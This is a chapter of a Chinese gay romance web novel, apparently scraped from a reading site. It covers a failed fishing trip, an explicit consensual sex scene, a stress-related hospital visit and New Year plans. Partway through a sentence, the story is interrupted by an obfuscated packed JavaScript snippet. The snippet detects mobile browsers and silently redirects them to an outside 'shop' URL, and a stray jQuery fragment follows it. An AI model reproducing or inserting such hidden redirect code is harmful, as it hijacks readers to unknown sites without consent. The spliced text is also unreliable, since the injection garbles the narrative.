61. 是鱼
作品:《看见你说》 稳了吗,估计是没有。
乔辽落笔没个轻重,全是真情实感,新文存稿写了几天,存了好几章,番外的影子倒是没见到。
易秋光有时候还会问上一句,乔辽就把原因怪到钓鱼上,他说:“因为还没钓鱼,所以写不出来。”
终于,他等到了易秋光有空的时候,那天正好是个大晴天,这俩人一吃完早饭就出门了,还带着那一大堆钓鱼的玩意儿。
因为东西太多,郭宝卓又成了司机,这人倒也乐意,在乔辽说出那句“第二天去钓鱼”的时候,郭宝卓就立马去店里买了两把钓鱼竿,乱七八糟的也买了一大堆。
郭宝卓在网上搜了搜,最后找了一个本地人都爱去钓鱼的地方。
应该怎么说这个地方呢。
土很多,树很高,水很深,风很大。
他们四个人排排坐着,光是绑鱼线这件事,就让他们对着视频忙活了半天,接着是挂鱼饵,郭宝卓在旁边一直捣鼓,先是把饵料加水,团成一个球,然后再捏着鱼钩,不停往球上蹭。
但这鱼饵怎么蹭都挂不上鱼钩,徐颂良瞥了郭宝卓一眼,说道:“你弄的饵料跟窜稀一样,能挂上才是稀奇了。”
下一秒,这人掏出一个小盒子。
“看吧,还是得听我的,”徐颂良自豪地说,“万能鱼饵,蚯蚓,你就用吧,一钓一个准。”
准不准的,乔辽不知道。
反正他在那里待了一下午,一条鱼都没钓到,郭宝卓嘀咕了一下午,大概是想要和那些鱼沟通一下,徐颂良很淡定,没上鱼就盯着浮漂,盯最后,直接坐在那儿睡着了。
易秋光的感应浮漂倒是响过,但这人站起来收线的时候,鱼一下子就脱钩跑了。
乔辽看着易秋光笑着收线,空着的鱼钩往他面前一甩,挂上了乔辽的毛衣。
“上鱼了吗?”易秋光高兴地问。
“上了。”乔辽说。
“什么鱼,”易秋光兴奋起来,“让我摸摸。”
“摸吧,”乔辽牵起他的手,摸上自己的脸,“是美男鱼。”
易秋光沉默了好久,郭宝卓和徐颂良的笑声也持续了好久。
挺难得的,易秋光这次没选择打他,只是对着他笑了笑。
乔辽也是过了几天才知道,原来易秋光没选择动手,是因为这人正在琢磨新的奖励。
在床上的易秋光挺凶的,这人摸了摸他的脸,问道:“你上次不是说,你是鱼吗?”
“对……”乔辽盯着易秋光手里的东西,心里直犯怵。
虽说这玩意儿的长度和易秋光的长度差不多,大小也挺接近的,但这东西怎么说都是没有温度的。
不疼吗,真的不会疼吗,真的真的不会疼吗?
“我怕疼。”乔辽果断开了口。
“不怕,你过来,”易秋光的手是有温度的,这人把乔辽拉到怀里,接着压了压他的后背,“我先帮帮你,待会儿就不会疼了。”
易秋光的帮忙是温柔的,但也只是一开始,到了后面,乔辽就只会一边喘气一边哭了。
易秋光把手收回来后,拿来一个枕头递给乔辽,接着就贴在这人耳边说道:“趴到枕头上,然后把腰抬高。”
乔辽听话照办,下一秒,他的喘息声都变得颤抖。
“你好乖,”易秋光笑着摸了摸他的脑袋,手里的动作也变得越来越快,“我刚才已经帮过你了,你现在应该不会疼……我能听出来,你好像还挺爽的”
乔辽也是没用过这种玩意儿,这东西一看就挺硬的,但用上之后,其实也还好。
等等,这东西怎么还有温度啊……哦我的天,怎么还会震动!
但确实还挺爽的。
身后人抬了抬他的腰,轻声说道:“鱼都是有尾巴的,你现在这么爽,应该也很想摇摇尾巴吧,别绷得太紧,放松一点,我又看不见。”
乔辽是很听话的,但到了最后,他实在是受不了那个会发热的东西了。
他扭头看向易秋光,伸手拉住这人的手腕,说话都变得断断续续:“你帮帮我好不好……秋光……别用这个了,用你的。”
“不行,”易秋光带着乔辽换了个方向,然后搂着这人的脖子亲了亲,“现在换你帮我了,但你身上那个东西,还没到拿出来的时候。”
越到后面,乔辽哭得越厉害,易秋光每次都会帮他擦擦眼泪,然后再夸一夸这个人。
易秋光说:“你很棒,今天这种触碰你还喜欢吗?”
“下次不要了……”乔辽的速度越来越快。
易秋光的喘息声也变得更加强烈:“但我还挺喜欢的……你今天的反应特别好,我很爱听。”
最后,乔辽趴在他身上不想动,但鱼是会忍不住摆尾巴的。
鱼的摆尾是缓慢的,但有时候,速度也会变快,大概是理智已经无法控制,剩下的就只有本能了。
易秋光很喜欢这种时候,也喜欢在这种时候去慢慢触碰。
过了好一会儿,易秋光终于停下触碰,把那个东西拿了出去。
紧接着,这人带着乔辽换了个方向,易秋光在乔辽后背上亲了亲,说道:“现在轮到我了。”
易秋光的温度才是最好的体验,乔辽还是更喜欢这种紧贴着的触碰。
但是……刚才那种会震动的玩意儿,其实也挺好的,偶尔用一用也可以,还能给生活增添一些情趣。
乔辽刚想到这里,易秋光突然在他肩膀上轻咬一下,问道:“是不是走神了,你在这种时候也能走神吗?那说明我还是不够努力啊。”
怎么可能不努力,易秋光简直是太努力了。
乔辽握着易秋光的胳膊晃了晃,接着就用带着哭腔的声音断断续续地说道:“不要了……你慢一点。”
“慢不了,”易秋光微低下头和他贴了贴脸,“你越哭我越兴奋。”
易秋光是兴奋了,乔辽也哭得停不下来了。
当易秋光停下来的时候,乔辽也不想再动了,他趴在床上有气无力地说:“我想喝水。”
“我去给你倒。”易秋光笑着说。
这人先是给他倒来一杯水,接着又端来一盆水,给乔辽把身上擦了擦。
上次是乔辽弄得他身上到处都是,这次换成他了……
运动过后的夜晚就是睡得香,但易秋光还是起了个大早,乔辽打着呵欠送他去工作室,然后就待在休息室里老实码字。
在吃午饭的时候,易秋光突然就不对劲了。
这人一边吃饭一边深呼吸,就跟喘不上气一样,乔辽吓得不行,问他是不是哪里不舒服。
易秋光喝了口水,指着胸口说:“这几天总觉得呼吸不太顺,想大口喘气都难。”
“这几天?”乔辽问他,“到底是几天?”
“三天吧。”易秋光说完又深呼吸一口气。
乔辽一听就慌了,于是,易秋光临时请了个假,去了医院。
一通检查结束后,易秋光觉得呼吸更困难了,但所有检查的结果都很好,医生说,易秋光出现这种情况是因为最近压力太大,应该是工作太忙,情绪太焦虑导致的。
听见医生这么说,易秋光也不吭声了,他最近确实是挺忙的,因为他想在过年的时候多陪陪乔辽,但在高强度的工作之后,身体难免会有些吃不消。
从那天开始,乔辽盯他盯得更紧,甚至连晚上的运动时间都取消了,乔辽说,要好好休息好好睡觉,那样才能有个好身体。
但培养感情也很重要啊……
易秋光不服。
易秋光半夜扒他衣服。
乔辽晚上睡觉摘了助听器和耳蜗,感觉到有人在扒自己的衣服时,他还以为是遇到了鬼压床,第一反应就是瞪大眼睛。
在发现扒自己衣服的人是易
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140595|196308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋光后,乔辽选择把这人搂进怀里,一下下拍着哄睡。
睡吧,一天天的脑子里都在想些什么呢,睡觉,睡着了就什么都不想了。
易秋光依旧不服,这人试图反抗,但最终还是困意赢了。
他在乔辽怀里睡得很香,完全忘了自己刚才扒衣服的时候有多带劲。
时间就这么晃到过年那天,零点刚一过,易秋光的手又开始不老实了,乔辽正准备和以前那样,把这人搂进怀里慢慢哄。
但易秋光这次不愿意了,这人下了床,摸索着拿起桌上的助听器和耳蜗,递给乔辽示意这人戴上,紧接着,易秋光开口说道:“不管是你帮我,还是我帮你,你总得给我一个吧,我憋了两年多!你还让我再忍着啊?我不忍了,乔辽!我真的要生气了!”
好凶。
大过年的……还是别让易秋光生气了。
乔辽把这人带回床上,接着亲了亲他的脖子,说道:“那我来了。”
估计是好几天没有在夜里培养感情,易秋光就跟怎么要都不够一样……这个夜,都快要熬穿了。
新年第一天,两个人就是在家里一直睡觉,市区禁鞭,他们也不会被什么动静吵醒,但手机会响。
在晚饭点的时候,郭宝卓发来消息,还连续发了好几条,生怕乔辽看不见。
这人先是发来一个定位,然后说他在外面订了个年夜饭,让乔辽快带着易秋光过去吃饭。
再然后就是一条语音。
郭宝卓说,这条语音要点开播放,放给易秋光听就行。
易秋光本来还在睡着,乔辽挨他太近,当语音条被按下的那一刻,郭宝卓说话的声音很快就冲了出来。
身边躺着的人立马“诶”了声,并精准地抓住了关键词。
吃饭。
年夜饭。
硬菜!
“起床,”易秋光说起就起,“穿新衣服去吃好吃的。”
“你醒了啊,不睡了吗?”乔辽揉了揉眼睛,他扒拉一下屏幕看了眼时间,然后把郭宝卓刚才那条语音转了个文字。
郭宝卓说:秋光啊快来吃饭啊,年夜饭,可好吃了,都是硬菜!
怪不得易秋光说起就起,原来是被年夜饭吸引。
“我早就醒了啊,就是赖床懒得起,”易秋光站在衣柜前扒拉衣服,他问乔辽,“我今天穿哪一套?”
“都可以啊,你穿哪套都好看。”说完这句,乔辽点了点手机屏幕。
回复郭宝卓一句:马上来。
易秋光还在衣柜前站着不停扒拉,最后,他把乔辽那件毛衣拿了出来。
“我就穿这个,然后再穿你上次给我买的那件新羽绒服,”易秋光问他,“你想穿什么?”
“我想穿和你身上这套差不多配色的,”乔辽也下了床,走到易秋光边上抱着他亲了亲,“和你穿情侣款。”
“我还记得,我有套衣服在你家放着,那套衣服其实穿着挺舒服的,”易秋光问他,“等哪天有空了去你家一趟,我把那套衣服拿回来。”
这段时间,乔辽一直都在易秋光家里住着,根本就没回过自己家。
刚开始住下,他只是想照顾易秋光,后来易秋光彻底好起来了,一点感冒症状都没有了,但乔辽又不想走了。
他不提这事儿,易秋光也没让他回家。
乔辽就这样一直在易秋光家里住着,穿的用的全是易秋光的,这人都快忘了自己还有个家。
乔辽“嗯”了声,说道:“行啊,今天就回去拿也可以,正好把那些还没用的新年布置带过去,晚上就在我家里住,秋光哥哥还能陪我一起把家里布置一下。”
“好,答应你了,”易秋光笑着说:“再喊我一声。”
“秋光哥哥,”乔辽揉了揉他的头发,“秋光哥哥最好了。”
“那必须的,”易秋光说,“秋光哥哥最爱你了。”

